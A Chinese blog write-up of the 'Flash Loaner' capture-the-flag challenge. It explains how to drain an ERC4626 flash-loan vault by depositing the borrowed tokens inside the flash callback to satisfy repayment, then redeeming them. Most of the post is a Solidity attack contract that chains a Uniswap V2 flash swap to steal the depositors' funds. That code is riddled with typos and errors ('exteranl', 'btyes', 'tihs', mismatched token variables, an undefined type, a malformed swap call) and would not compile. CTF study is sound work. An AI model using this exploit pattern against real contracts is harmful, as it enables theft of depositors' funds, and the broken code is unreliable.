CTF-Flash-Loaner
CTF-Flash-Loaner
题目源码:点击
题目要求:
FlashLoaner 合约接受用户的资金以促进闪电贷,其中他们收取少量费用。这笔费用作为收益提供给储户。
您的任务是从该合约中抽走 99%+ 的用户资金。您开始时没有资金。
这题看起来就是很闪电贷。但是阅读完后,并没有发现一些漏洞,突破口就是这个代码: IFlashCallback(msg.sender).flashCallback(fee, data);
可是我们的回执函数能做些什么呢,除了还款我想不到其他方向了
再次审阅合约,发现这个闪电贷是继承ERC4626合约的,意味着它也可以实现存取功能,所以思路就打开了,首先借入一些代币,在调用deposit函数,存入闪电贷中,满足还款条件,然后再执行withdraw函数,又将代币撤回
攻击合约:
//SPDX-License-Identifier: MIT
pragma solidity^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IUniswapV2Pair{
function swap(
uint amount0Out,
uint amount1Out,
address to,
bytes calldata data
) external;
}
interface ILoan{
function deposit(uint256 assets, address receiver) external returns (uint256);
function redeem(uint256 shares,address receiver,address owner) external returns (uint256);
function flash(address recipient,uint256 amount,bytes calldata data) external;
}
contract Hack{
IUniswapV2Pair pair;
ILoan loaner;
IERC20 udsc;
constructor(address _pair,address _loaner,address udsc){
pair = IUniswapV2Pair (_pair);
loaner = Loaner(_loaner);
udsc = IERC20(_udsc);
usdc.approve(address(loaner), type(uint).max);
}
function pwn () exteranl {
pair.swap(100_000e18.0.address(this),new btyes(1));
udsc.transfer(msg.sender,udsc.banlanceOf(address(tihs)));
}
function uniswapV2Call (address _address,uint256 amount0,uint256 amount1,bytes memory data) exteranl{
loaner.flash(address(this),udsc.balanceOf(address(loaner))-1,new bytes(0));
loaner.redeem(loaner.balanceOf(address(this)),address(this),address(this));
udsc.transfer(address(pair),(amount0*103/100)+1);
}
function flashCallback(uint256 fee,byte calldata) external{
loaner.deposit(100_1000e18,address(this));
udsc.transfer(address(loaner),fee);
}
}
完结。这个题和前面的ctf-bonding-curve还是有点一样的。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.